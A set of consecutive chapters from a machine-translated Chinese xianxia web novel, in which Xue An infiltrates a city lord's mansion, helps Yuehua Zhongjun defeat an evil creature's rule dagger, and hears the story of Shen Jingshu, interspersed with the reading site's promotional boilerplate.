    This square formation is closely connected with the veins of Yunxiao City, so it can ignore all shielding magic formations and conduct a blind spot in the entire city.


    So as long as you occupy this magic circle, you will naturally have control over this Yunxiao City.


    This is the reason why the defense here is so strict, and it is also the target Xue An needs to find for sneaking into the City Lord''s Mansion.


    At this moment, Xue An is in a state of mysticism that seems to be something like nothing.


    He said he did, because he was conscious and thinking clearly.


    Saying that he has nothing, it is because he has lost his specific form and turned into a breeze, slowly patrolling in this city lord''s mansion.


    In this state, his sense of existence has dropped to the point where he is almost non-existent. Even the existence of a saint at the first level cannot detect his existence.


    But the price is that his speed will become very slow and can only be slowly passed by like a gust of breeze.


    Xue An was not in a hurry, because he knew that this city lord''s mansion seemed calm, but in fact there were countless detection arrays hidden underneath. As long as he showed a little bit of his feet, it would definitely lead to the abandonment of all previous efforts of this mission.


    Therefore, Xue An slowly walked through the city lord''s mansion and remembered all the plants and trees along the road.


    At this slow speed, Xue An walked through most of the city lord''s mansion in front, and then was surprised to discover a fact.


    That is this seemingly luxurious city lord''s mansion, unexpectedly deserted, except for the soldiers patrolling, there is not much popularity.


    Especially there is no female family.


    This could not help Xue An''s heart moved.


    This is very different from the scene he had imagined before coming.


    However, he still suppressed the suspicion in his heart and sneaked into the center of the City Lord''s Mansion.


    There is a small building standing here, and the lights are on on the second floor at the moment, and there are obviously people living in it.


    Xue An slowed down a little further, and then came to the small building.


    He can be sure that this small building should be the key.


    Because according to the layout of the City Lord''s Mansion, this small building happened to be located in the very center, which should be where the big formation was.


    And the people inside don''t need to ask, it must be that Yuehua Zhongjun.


    Although Xue An was not afraid of him after he was promoted to a saint, Xue An didn''t want to alarm him yet when his goal had not been achieved.


    So he tried his best to contain all his breath, and quietly came to the window on the second floor.


    Compared with the strict security of other places in the City Lord''s Mansion, this small building is surprisingly simple, and there is no shielding circle on the windows, it is so wide open.


    Therefore, when Xue An came to the window, he could see the situation inside the house at a glance.


    This is an extremely simple room.


    The floor is covered with simple bamboo mats, the walls are white on all sides, and a small table is placed in the middle of the room.


    A lamp was lit on Ji, and there was a person sitting next to him, who was leaning on the little Ji and painting or drawing.


    It was the middle gentleman of Yuehua who had a fate with Xue An.


    It''s just that the Yuehua Middle Monarch at this moment has changed a lot from the image of the top master of the Yin and Yang family who was domineering and exposed that day.


    I saw him wearing a pale blue robe, his long hair scattered, and his figure was very thin.


    Especially when writing and painting at the desk, the face is even more intoxicated, as if the paper on the few cases is the most attractive thing in the world, and there is nothing else.


    Seeing this, Xue An couldn''t help being slightly surprised.


    What is Huazhongjun doing this month?


    At the same time he felt a little bit tricky.


    Because at this moment, he can finally be sure that the front of the square is in this small building.


    But at the moment Yuehua Zhongjun is here, as long as he changes slightly, he will definitely be alarmed.


    Although I am not afraid of him, I will startle him in that case.


    Just as Xue An felt a bit tricky, there was a sudden sound of footsteps downstairs, and then the sound of footsteps picked up the steps, came outside the door, and stopped.


    From the weight and rhythm of the footsteps, Xue An can conclude that the person who came should be a woman.


    Suddenly a woman arrived at this time. Could it be the wife and concubine of Jun Huazhong this month?


    Xue An''s heart moved, and at this moment, he heard a knock on the door, and then a clear female voice said outside the door.


    "Master Zhongjun, the tea is ready!"


    Jun Yuehua didn''t even lift his head, but said indifferently: "Okay, come in!"


    The door was pushed open with a creak, and then a tall and beautiful maid walked in with a tray.


    This maid''s temperament and appearance are excellent, especially when she walks, she has a unique charm.


    But for these, this Yuehua Zhongjun didn''t care at all, but he still focused on writing and painting at his desk.


    Before the maid walked slowly to a few cases, she squatted down gracefully, revealing the slender figure, and then picked up the cup of hot tea on the tray and placed it on top of the few cases.


    "Master Zhongjun, the tea is easy to cold, please enjoy it as soon as possible."


    "Well, I see, you can withdraw now!" Yuehua Zhongjun still didn''t look up.


    But the maid did not retreat, but still squatted there, seeming to be waiting for something.


    After a while Yuehua Zhongjun raised his head noticeably.


    "what''s happenin?"


    "It''s nothing, but the servant girl wants to wait for Master Zhongjun to drink the tea before leaving!"


    The words are soft and full of concern.


    Moon Huazhong smiled, "Well then!"


    As he said, he picked up the teacup on the table and drank it in one fell swoop.


    "Well, you can withdraw!"


    Moon Huazhong placed the tea cup on the maid''s tray.


    But the maid still did not leave, but looked at Yuehua Zhongjun with gentle eyes.


    "Master Zhongjun, for such a long night, don''t you feel too lonely here alone? If you don''t dislike it, the slave and maid can stay with you."


    In the dead of night, there are lonely men and widows.


    A beautiful maid keeps saying that she wants to stay with you.


    This kind of temptation cannot be said to be trivial.


    But Yuehua Zhongjun just smiled at this, "I have accepted your kindness, but I still have important things to do here, so you should withdraw!"


    This is the end of the conversation, and I should have retired shamefully when I changed to another maid.


    But the maid didn''t mean to shrink at all, but smiled.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2497 is turned into a breeze), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2498： Rule dagger

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Master Zhongjun, I know you belong to your heart, but the servants feel that I can replace the person in your heart!"


    This is a serious disrespect, at least not what a maid should say.


    Therefore, Yuehua Zhongjun frowned slightly and raised his eyes impatiently to look at the maid.


    "I said����."


    After only uttering two words, he was stunned, and his eyes were even more obsessed.


    At the same time, the maid gently flicked her temples in her ears, exhaling like a blue voice: "Master Zhongjun, do you think I am beautiful?"


    "Beautiful! It''s so beautiful! Jing''er, you are the most beautiful in my heart!" Yuehua Zhongjun whispered softly.


    The maid covered her mouth with her hand and giggled.


    "Then I am so beautiful, what are you going to do?"


    The obsessive color on Yuehua Zhongjun''s face grew stronger and stronger, "I...I don''t know! As long as you are willing to follow me and never leave, then I will do whatever you want me to do!"


    Xue An outside the window frowned upon hearing this.


    This month, why did Hua Zhongjun suddenly behave like a hungry ghost, completely opposite to his previous attitude.


    And how he felt awkward about the maid.


    At the same time, I saw this maid''s eyes wandering, and she said, "Oh? Are you willing to let you do anything?"


    "Yeah!" Yuehua Zhongjun nodded his head.


    "Okay, then you go to die!"


    Accompanied by this soft drink, the hand of the maid hiding under the tray slammed out, holding a black dagger and piercing the Moon Huazhong.


    Yuehua Zhongjun sat there with obsessive eyes, as if he didn''t notice anything.


    There was a smirk on the maid''s face, as if she had seen the blood spattering of the Moon Huazhong in the next second.


    But at this moment, the dagger in her hand passed through Yuehua Zhongjun''s body without any hindrance.


    The maid was startled, and then a soft sigh came from her side.


    "It''s hard for you to put so much effort into killing the game!"


    With the voice, the Moon Hua Zhongjun, who had been sitting a few cases before, disappeared with the wind.


    The maid snorted coldly, without even hesitating, the dagger in her hand directly pulled out a circle, and pierced it everywhere in accordance with the voice behind.


    The blow was accurate and ruthless, but it was still missed.


    Then Yuehua Zhongjun appeared beside the maid, and said lightly: "Tell me who you are and who sent you to kill me, I can give you a good time!"


    The maid grinned, "Do you really think you have control of the whole situation?"


    "if not?"


    "Hehe, you do have two brushes, you can actually recognize my Ecstasy, but you still have to die!"


    With that, the maid stretched out her other hand and slammed the black dagger.


    The palm of his hand was directly cut by the extremely sharp blade, and the blood burst out, but nothing fell.


    Because all the blood was absorbed by this dagger.


    In an instant, the dagger began to show scorching brilliance, and a heart-palpitating breath surged from it.


    Yuehua Zhongjun''s expression changed, and he pointed slightly, and a little moonlight pierced the center of the maid''s forehead.


    But it was too late.


    I saw the maid yank the dagger abruptly, and accompanied by a sore sound of rubbing bones, she pulled the dagger abruptly, and then stabbed the middle-jun Yuehua again.


    This time, there was a violent storm where the dagger passed.


    The moonlight was blown away in an instant.


    The dagger came straight to Yuehua Zhongjun with the supreme might.


    Moon Huazhong''s expression was solemn.


    With his strength, he can naturally detect that there is a power in this dagger that makes him feel palpitations.


    Therefore, he made a decisive decision, no longer head-on, but flashed in his body, trying to avoid the blow.


    But he made the wrong calculation this time.


    Because just as he flashed aside, this dagger also pierced the space and came to the front door of the middle monarch Yuehua.


    At this time, Yuehua Zhongjun felt shocked in his heart.


    What the hell!


    How can this dagger be incapable of getting rid of like a tarsal maggot?


    Despite the shock in his heart, his figure flickered again and again, moving seven or eight positions one after another in an instant.


    The speed is simply dizzying.


    But no matter how he dodges, the capital of this dagger is like a sword of Damocles hanging in front of him, without any change at all.


    He even pierced a lot forward, and he was about to touch the skin between his brows.


    At this time, Zhongjun Yuehua finally couldn''t keep calm.


    "What the **** is this?"


    The maid giggled, "Mr. Yuehua, once this dagger comes out, the blood must be paid back, so you just obediently accept your fate."


    With a move of Yuehua Zhongjun''s expression, the figure that had been dodgeling ceaselessly stopped instantly, as if he had given up resistance.


    In the next second, the dagger pierced through his eyebrows and brought out a **** flower.


    The dagger didn''t hover until the blow was completed.


    But before the maid had a successful smile on her face.


    In the corner of the room, the figure of the middle monarch of Yuehua reappeared, but at this moment, his face was slightly pale, but his eyes were full of cold killing intent.


    "The power of rules, who are you on earth?"


    At this moment, Yuehua Zhongjun''s heart was filled with fright and anger.


    Because he finally realized the origin of this dagger.


    The power contained in it that made him feel palpitations is clearly the power of rules.


    The power of this rule is very peculiar.


    As long as it is integrated into the weapon, the weapon can also have certain characteristics.


    For example, the dagger that just ignores all barriers and follows itself like a shadow comes from the power of rules.


    This kind of power is evil and powerful, and has its own immune shielding attribute.


    Once contaminated, no matter how powerful your existence is, you will have a headache.


    So just now, Moon Huazhong had to sacrifice one of his clones in order to interrupt the attack of this dagger otherwise it would not leave itself even if it chased to the horizon.


    The maid laughed grinningly, "Sure enough to be the great master of the Yin Yang family, yes, this is indeed the power of the rules, and it has been set during the forging, and once it is shot, it will drink 100% of your blood. Only then will I stop!"


    "So, you will die now!"


    Accompanied by the maid''s sneer, this dagger was activated again and pierced towards the middle of Yuehua.


    Moon Huazhong was shocked.


    Just now I lost a clone and escaped a blow. Could it be that this is still the case now?


    Even if you have many clones, you can''t consume it like this!


    But if you don''t want to lose your clone, how can you solve this tricky dagger?


    Just as the Moon Huazhong was surprised, a ray of sword light suddenly passed through the air at an extremely fast speed, directly piercing the center of the maid''s eyebrows.


    puff!


    Because the speed was too fast, blood was gushing out from the back of the maid''s head until the sword light had pierced the wall of the room and disappeared.


    From the front, the big hole in the maid''s eyebrows is extremely smooth, and the light from the opposite side can be faintly seen.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2498 Rule Dagger), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2499： Hand Picking Haoyue

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Following the death of the maid, this dagger also hovered in the air, but did not disappear, it seemed that something was still waiting for.


    The Lord Yuehua was also startled, then suddenly turned his head and looked out the window.


    But outside the window was empty, with no trace of people.


    Jun Yuehua just wanted to talk, that is, at this moment, the head of the maid suddenly exploded, followed by her neck, shoulders, and chest....


    In the blink of an eye, this maid burst into tears.


    What is strange is that her burst did not splash any blood, but instead aroused countless smoke and dust.


    The smoke spread quickly, and even the wooden floor was corroded and blackened wherever it passed.


    The starting point of Yuehua Zhongjun''s body is tumbling, forming a barrier to block the eroding smoke and dust.


    At this moment, the corpse fragments that fell on the ground began to gather together, and then countless granulation sprouts between these fragments, which connected each other and merged quickly.


    In the blink of an eye, an odd-shaped monster covered in ferocious granulation appeared in the room, and then the monster slowly stood up, suddenly opening a **** gap on the blurred face.


    Inside was a crimson eyeball, staring at Zhongjun Yuehua.


    Moon Huazhong took a deep breath and sneered: "No wonder there is the power of rules, it turned out to be a humble evil creature!"


    As the great master of the Yin-Yang family, he naturally knew the existence of evil things.


    In his opinion, the real high-level existence among these evil things is no different from the human race from the outside, and even more noble and elegant.


    Only humble things are **** and sticky.


    For example, right now, this monster just stood there and kept dropping flesh and blood from its body, so Yuehua Zhongjun sneered coldly.


    But at this moment, I saw this evil creature grinning a few times.


    "Yes, I am really humble, but today, your noble Lord Zhongjun will die in the hands of my humble thing!"


    Although it looks hideous and terrifying, when this evil thing speaks, it is still the sweet voice of the previous maid. The two combined together, there is an indescribable horror and weirdness.


    But Yuehua Zhongjun didn''t say a word, just a flick of his finger, Wuliang Yuehua quickly condensed into many weapons, and attacked the evil thing.


    The evil thing roared, and the dagger that was originally hovering in the air suddenly circled, and then flew into its hands.


    Immediately afterwards, the dagger grew into the wind, and in a flash, it turned into a long sword that was more than three feet long.


    The long sword swung repeatedly, smashing all the Yuehua weapons that had been attacked, and after one bounce, the evil thing jumped up from the ground and rushed towards the middle monarch of Yuehua.


    Jun Yuehua snorted coldly, his eyes faintly angry.


    In fact, this battle has already filled his heart with anger.


    Because if this evil thing is about strength, it wouldn''t even be worthy of giving him shoes, but it happened to be such an existence, but relying on a blade of rules, it forced itself to retreat again and again.


    This kind of humiliation is really unbearable for him.


    Therefore, in the face of this sword swung, the Lord Yuehua did not dodge, but took a step forward, pinched the seal with his hand, and blasted it straight.


    boom!


    After a loud noise, the two hit each other and froze in the air.


    But after a while, I saw that the Yuehua attached to the hand of the Moon Hua Zhongjun quickly disappeared, and then the long sword slashed straight down.


    puff!


    Blood spattered.


    A **** cut was cut out in the arm of Yuehua Zhongjun.


    The evil thing became more and more excited.


    "Hahahaha, Yuehua Zhongjun, this is just the beginning. You must know that this rule blade was forged to kill you, so all your resistance will be of no avail. Accept your fate!"


    As he said, the evil thing swung the long sword again, and slashed towards the middle of Yuehua''s neck.


    Yuehua Zhongjun''s figure flashed, trying to avoid the fatal blow.


    But as soon as his figure disappeared, this long sword also disappeared.


    When Monarch Yuehua appeared, the long sword also appeared, and relative to the neck of Mr. Yuehua, the position was not different, and it was cut down again.


    The complexion of Yuehua Zhongjun was extremely ugly, because he thought of the scene just now.


    But at this moment, a faint voice appeared in his ears.


    "The only thing that can eliminate the power of rules is rules!"


    This sentence was like a shock to the sky, Dang Even reminded Yuehua Zhongjun.


    correct!


    He obviously has the power of rules, but why have he been fighting with this guy until now?


    At this point, Yuehua Zhongjun couldn''t even remind him who he was.


    I saw him take a deep breath slowly.


    Wuliang Yuehua quickly layered on his neck, and quickly filled the gap between it and this long sword.


    Although these Yuehua armors can''t really stop the whereabouts of this long sword, they can at least delay some time.


    Immediately afterwards, I saw Monarch Huazhong raised his head this month and let out a sigh of relief.


    puff!


    This breath turned into a violent wind, and the roof was lifted instantly, revealing the endless night sky outside.


    At this moment, Huayue was in the middle of the sky, and the bright moonlight filled the whole world.


    As soon as these moonlights touched the body of the middle-jun Yuehua, they quickly penetrated in, gradually increasing his aura.


    When the evil creature saw it, he grinned, "Do you want to rely on this little moonlight to deal with my blade of rules? You are too naive!"


    Too.


    No matter how the momentum of the Moon Hua Zhongjun grows, it can''t stop the falling of this long sword, and as the number of broken Yue Hua increases, the speed of this long sword''s falling is gradually accelerating.


    But in the face of this change, there was no sadness or joy on the face of the Lord Yuehua, just a sharp eyebrow.


    "Come!"


    With this burst of shout, Yuehua Zhongjun raised his hand with one hand, held a virtual grip with his five fingers, and made a picking action and it was just such an action, a scene of wonder appeared.


    Huayue, who was originally shining in the sky, disappeared in an instant, as if it had been picked off by something.


    But in the hands of the Lord Yuehua, a group of extremely bright light appeared.


    As soon as this light group appeared, it carried the supreme majesty, and even the surrounding space became stagnant.


    The speed of the long sword swing quickly slowed down.


    Seeing this, the evil creature couldn''t help screaming, "What magical power is this?"


    "This is my law, and it is also my destiny!"


    The Moon Huazhong said coldly, and then the light ball in his hand brightened, astonishingly what Huayue looked like in the previous round.


    It''s just that at this moment this huge planet has turned into a small ball of light in the hands of the Moon Hua Zhongjun, and the gap in it is really astonishing.


    But this is exactly where the strength of Yuehua Zhongjun lies.


    In fact, this round of Huayue hanging above Yunxiao City was placed by Yuehua Zhongjun.


    The exercises he practiced were born towards the moon, but after reaching the extreme, it will turn into a real moon, which is infinitely useful and powerful.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2499 Hand Picking Haoyue), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2500： Womens image

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    But after condensing Huayue, Zhongjun Yuehua placed it in the sky above Yunxiao City and did not carry it with him.


    Part of the reason was that his own strength was too strong, and no one would dare to provoke Huayue''s ultimate ultimate move.


    But the more important reason is that he wants to use this to make his own Huayue to absorb the worship of the people, so as to form another incarnation of himself.


    But today, the Lord Yuehua directly took off the moon and dealt with this evil thing.


    It can also be seen how threatening this rule blade is to him.


    Huayue hovered above Yuehua Zhongjun''s head, and layers of extremely tough Huaguang completely shrouded it, and it contained powerful rules.


    This time, the speed of this long sword''s falling more slowly.


    Not only that, but also sparked countless sparks in the process of falling, as if it was rubbing with something hard.


    In the blink of an eye, this long sword was wiped out.


    And this evil thing finally realized that the situation was not good, and threw down the long sword in his hand and turned and wanted to run.


    But how could the middle-ranking Yuehua Zhongjun, who was burning with anger, let it go, he only pointed a little.


    boom!


    Countless brilliance exploded from this evil creature''s body.


    This time it will never be resurrected again, because this explosion was so violent that it directly exploded it into the most basic particles.


    But this is not the end, the middle-ranking Yuehua rubbed his hands, and the long sword was directly crushed into powder by the force of the rules, and it was turned into nothing.


    After all this was done, the gentleman Yuehua just breathed a sigh of relief, and then turned his head and looked out the window.


    "Don''t show up yet?"


    Following the voice, I heard a chuckle from the void, "Picking the moon with one hand, it turns out that this is your ultimate form!"


    "Stop talking nonsense, and show up quickly. After hiding for so long, you shouldn''t just come to compliment me!"


    While speaking, the Moon Hua Zhongjun raised his hands to make a seal, and the light ball that was originally suspended above his head disappeared in an instant.


    Then the Huayue above the sky reappeared, illuminating the world.


    Yunxiao City, which had been a little disturbed by Huayue''s sudden disappearance, gradually calmed down.


    At the same time, there was a ripple in the void above the small building of the City Lord''s Mansion, and then a figure appeared.


    White clothes are like snow, and his people are like jade.


    It is Xue An.


    In this regard, Yuehua Zhongjun seemed to have expected it, and said lightly: "To be honest, I really didn''t expect you to help me."


    Xue An smiled, "I didn''t expect it, because I had other plans here."


    Jun Yuehua took a deep look at Xue An, and then said solemnly, "Thank you!"


    Xue An waved his hand, "No thanks, after all, compared to the grievances between you and me, evil things are more important."


    As he himself said, Xue An, who had just been in a latent state, didn''t want to do anything, but after seeing the maid actually use the power of the rules, he changed his mind.


    Because as he has dealt with evil things a lot, he naturally knows the power of this rule.


    But everyone who possesses the power of this rule, without exception, is a higher being among evil things.


    And Yuehua Zhongjun was actually dealt with by these evil things with the force of rules, which indirectly explained his importance.


    Therefore, Xue An immediately changed his mind and offered to help.


    After all, if it is because of a bit of grievances that a strong man is infested by evil things, Xue An can''t do that kind of thing.


    What a character Yuehua Zhongjun naturally understood this truth, so his eyes moved slightly, and then he nodded.


    "In that case, please sit down and tell!"


    "it is good!"


    Xue An was also not welcome, and fell directly into the room.


    At this moment, this small building has been damaged by the war, and the floor is even more pitted.


    But at this moment, the Lord Yuehua raised his hand with a wave, and countless Yuehua instantly attached to this small building.


    Then everything recovered quickly.


    In the blink of an eye, the roof that had disappeared before resurfaced, and the floor was restored to its smoothness.


    Xue An was unmoved by this scene, just smiled faintly, and then sat down.


    Moon Hua Zhongjun was also a saint-level existence anyway, if he didn''t even have this strength, it would be unreasonable.


    Monarch Yue Huazhong also sat opposite Xue An, and the two sat opposite each other, before Monarch Yue Huazhong spoke.


    "Your growth rate is really amazing. How long has passed since I saw you last time, and in the end you have become a saint!"


    Xue An smiled, "You are not bad too, your strength has improved a lot."


    Moon Huazhong shook his head, "That won''t help at all, because with my talent, this realm is already at the limit, but you are different. With your speed of advancement, this is far from the end."


    Xue An was noncommittal, "Why do these evil things come to deal with you?"


    Moon Huazhong smiled bitterly, "Since the news that the Hundred Schools Conference is about to be held here, I, the city lord, has become a target of public criticism. Not only is it evil, but almost all parties are eyeing my position."


    As he said, the gentleman of Yuehua said with a solemn expression, "Xue An, why are you here late at night?"


    "Very simple, I want to use it!"


    As he said, Xue An pointed his finger to his feet.


    Yuehua Zhongjun immediately shook his head, "Sure enough, you also came for this big formation, but I''m sorry, I can''t lend it to you!"


    "Oh? Why?" Xue An raised his eyebrows.


    "Because this large formation was built by Lord Si Zhen Ying Shen of the Yin Yang family, it can be said that everything in it is closely related to him, except for the people of the Yin Yang family, no one else can use it at all."


    Xue An looked at Yuehua Zhongjun.


    Moon Huazhong looked calm.


    It was not until a long time later that Xue An nodded his head, UU reading "If this is the case, then I will not be too difficult."


    With that, he turned his head to look at the plan, and then he couldn''t help but shake his whole body.


    Because just above the case table, a piece of rice paper was placed, and there was a portrait of a woman on the rice paper.


    Although I haven''t finished the painting yet, I already have the shape and spirit.


    The most important thing is that Xue An discovered that the woman on this rice paper is so similar to Jian San Chen Suqian.


    Noting the color of astonishment on Xue An''s face, Yuehua Zhongjun raised his hand and picked up the piece of rice paper on the table, and sighed lightly.


    "The picture above is an old friend of mine, and I am very close to you, so I will give it to you this time!"


    Having said that, Yuehua Zhongjun handed over the rice paper.


    Xue An took it in his hand and looked carefully for a moment, and found that although this woman was similar to Jiansan in many ways, she was definitely not her.


    Because there are subtle differences in many places, especially those eyes.


    It can be seen that the Lord Yuehua used a lot of effort in painting this portrait, and he embellished the woman''s eyes very energetic.


    But there was a faint sorrow in these eyes, something that Jian San had never seen before.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Daddy Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Portrait of a Woman in Chapter 2500), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2501： Shen Family Past

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Jun Yuehua sighed, "I believe you can see it too. This portrait is very similar to the friend who gave you Jianxin."


    Xue An nodded.


    "I know you must have a lot of questions. For example, your friend is obviously only in the heavens, but he has something to do with the Shen family, who is in this portrait, right? ?"


    Xue An nodded again.


    "Don''t worry, since you have been a saint, you naturally have the qualifications to know these things. Next, I will explain it to you slowly, and also in return for your help." Yuehua Zhongjun said in a deep voice.


    "it is good!"


    Moon Huazhong waved his sleeves, and the surrounding environment instantly changed, from the simple to nothing room to a warmly furnished tea room.


    Tea is good tea, and water is good water. Zhongjun Yuehua filled a cup for Xue An himself, and then said in a deep voice.


    "Do you know why the Shen family chased you, vowing to get back the sword heart in your hand?"


    Xue An sipped a sip of tea, and said lightly: "Isn''t it because of the preciousness of this sword heart? It is not allowed to flow into the hands of outsiders?"


    "Sword heart is precious?" Yuehua Zhongjun sneered, "Yes! Shen family''s sword intent is very unique. The cultivator can condense all the sword heart into a small sword before dying. It can be called precious, but you Do you think it��s just because of this?"


    "The root of everything lies in the person who gave you Jianxin, because this person is the offspring of an outcast of the Shen family!"


    "Abandoned?"


    "Yes, it''s an abandoned disciple!" Yuehua Zhongjun''s expression became serious, "To be exact, she should be a woman who is so stunning that she can''t be more beautiful!"


    Speaking of this, the eyes of Yuehua Zhongjun showed obsessiveness, "It goes back ten thousand years ago. At that time, I was just an ordinary yin and yang child. By a coincidence, I got acquainted. At that time, the limelight was in full swing, and she was known as the number one person outside the sky!"


    "How do you describe the scene when I saw her for the first time! At that time, I was innocent, and I was even more ordinary. Standing in the crowd was completely inconspicuous!"


    "But she is the arrogant girl of heaven who has gathered thousands of favorites. At that time, I felt ashamed of myself even if I only looked at it from a distance..."


    Looking at Yuehua Zhongjun, who was incapable of extricating himself in the memory, Xue An did not urge, but listened quietly.


    "At that time, I was very inferior and didn''t have the courage to approach her, but she was so approachable, because everyone was around her at that time, no one paid any attention to me!"


    "It made me very embarrassed at the time. She obviously noticed this, and then smiled and came forward to talk to me!"


    The face of Yuehua Zhongjun showed happiness, "That is to say, during this conversation, I know her name, Shen Jingshu! The truly unique genius since the self-reliance of the Shen family, kills all the young people of the same generation. exist!"


    "Shen Jingshu..." Xue An whispered the name softly, the brilliance looming in his eyes.


    "Yes, it''s Shen Jingshu! You must have guessed what will happen next!" Yue Huazhong laughed at himself, "Although I was in a low status at the time, I still fell in love with her madly. Isn''t it ridiculous?"


    But Xue An shook his head seriously, "It''s not ridiculous! Young Muai, this is a normal thing in itself, how can it be ridiculous?"


    Moon Huazhong cast a grateful look at Xue An, "Thank you."


    Then he continued to narrate, his tone of sadness and nostalgia, "Although my strength was mediocre at the time, in order to be able to get close to her, I practiced like crazy, just to win her in the gatherings of various young people. attention."


    "What I asked for was very simple, even if she might not like me at all, but as long as I can look at her from a distance, I will be satisfied! It was a beautiful and innocent time."


    Xue An was silent.


    Who would have thought that the great master of the Yin-Yang family, who is above hundreds of millions of people, would have such a humble past.


    "But the good times didn''t last long, the outside world began to be turbulent, and an army of evil things appeared, and the whole world was plunged into continuous war. As a child of the Yin and Yang family, I was naturally not spared and was sent to the battlefield. on!"


    "But at this moment, I learned a piece of news..." Speaking of this, Yue Huazhong paused, and then said with difficulty.


    "As the most dazzling existence of the Shen family, she, known as the genius among the geniuses, was forcibly expelled by the Shen family at this time, and she was expelled."


    "Do you know what I was like when I learned about this news? I was just like crazy. I fled from the front battlefield at the risk of being treated as a deserter and ran to Shen''s house to find out the news!"


    "Then I learned that the reason she was expelled was because of a strong conflict with the ideals held by the Shen family at the time, and she left without saying goodbye. In the end, the Shen family made this decision!"


    "What kind of strong conflict?" Xue An couldn''t help asking.


    He knew very well that he could be so respected by Yuehua Zhongjun. This Shen Jingshu was definitely not a generation to wait, and such a disciple was the key to the prosperity of a sect, sometimes even more important than the Patriarch.


    But it was such an existence that was forcibly removed. Obviously something extraordinary happened.


    Hearing Xue An��s question, Yuehua Zhongjun sneered, but did not answer positively. He just said in a sarcasm: ��What do you think of the Shen family��s strength in Heaven?��


    "Very strong!" Xue An said bluntly.


    "Yes, it''s very strong! Someone even ranks the Shen family, Taoism, Confucianism ~ www.novelhall.com~ and my Yin and Yang family as the strongest forces in the outer world today. Do you know why they are so good?"


    "It''s because they adopted a shameful neutral attitude when facing the invasion of evil objects, that is, they did not take the initiative to participate in the war and the strategy of not confronting evil objects!"


    "Because of this attitude, they can be said to be the family that suffered the least losses in the entire war! Many powers and families were destroyed in that battle, and even those who survived were greatly damaged, and even now they have not suffered. Take it easy, for example, the soldier who knows you well is like this!"


    Upon hearing this, Xue An finally understood something.


    really.


    Just listen to Yuehua Zhongjun continuing to say; "The reason why Shen Jingshu and the Shen family had a violent conflict at the time was because of their different attitudes towards evil things."


    "Shen Jingshu insisted on fighting hard, but the senior officials of the Shen family at the time believed that it was nothing to do with them, and there was no need to lose combat power to join."


    "If that''s all, it wouldn''t be enough to make her leave without saying goodbye, but another viewpoint that Shen Jingshu upholds angered the seniors of the Shen family at the time, and this viewpoint is also related to you!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s daddy txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2501 The Past of Shen Family), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2502： The Art of Silence

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    "Oh? It has to do with me?" Xue An was startled.


    "Yes, there are still many people who know about the Chinese people thousands of years ago. Shen Jingshu is one of them. She even went to the earth of the heavens personally and had contact with your Chinese gods at the time. Therefore, she advocates not only To fight against evil things, you have to send people to the heavens to save your Chinese!"


    "That''s why she broke up with the senior leaders of the Shen family, and finally broke up unhappy."


    Hearing this, Xue An''s discoloration changed.


    If things are really like what Yuehua Zhongjun said, then this Shen Jingshu can be said to be a great benefactor of the Chinese.


    I just don''t know if it is true or not.


    Seeing Xue An��s doubts, Yuehua Zhongjun lightly sighed: ��I know you still have some doubts, because Shen Jing at the time left without saying goodbye, and the whole world didn��t know where she had gone!��


    "Only I did a detailed investigation later, and went to the heavens once in person!"


    Speaking of this, Yuehua Zhongjun looked at Xue An.


    "I''m sorry, it was too late when I went there. The earth has already been slain, and your people have been slaughtered! But I can feel a trace of her sword aura fluctuations from the clues left by that battle, this It shows that she did appear on the earth at that time!"


    "It''s just a pity that she also failed!" Speaking of this, Yuehua Zhongjun looked sad and lowered his head.


    In such a cruel battle, it goes without saying what defeat means.


    Xue An was also silent.


    Because this was the first time he knew about this past, but it didn''t prevent the vibration in his heart and the respect for this quiet and unmasked.


    A woman, for the sake of morality, did not hesitate to risk her life, and finally died in battle.


    Based on this alone, she is tens of thousands of times stronger than countless men.


    "But since it was ten thousand years ago, what happened to Shen Suqian, who gave me the sword?" Xue An couldn''t help asking the last question in his heart.


    At that time, among the heavens, he could clearly feel that the age of this sword three Shen Suqian had never been faked, at most he was only a hundred years old.


    If she is Shen Jingshu''s offspring, how can this time gap be explained?


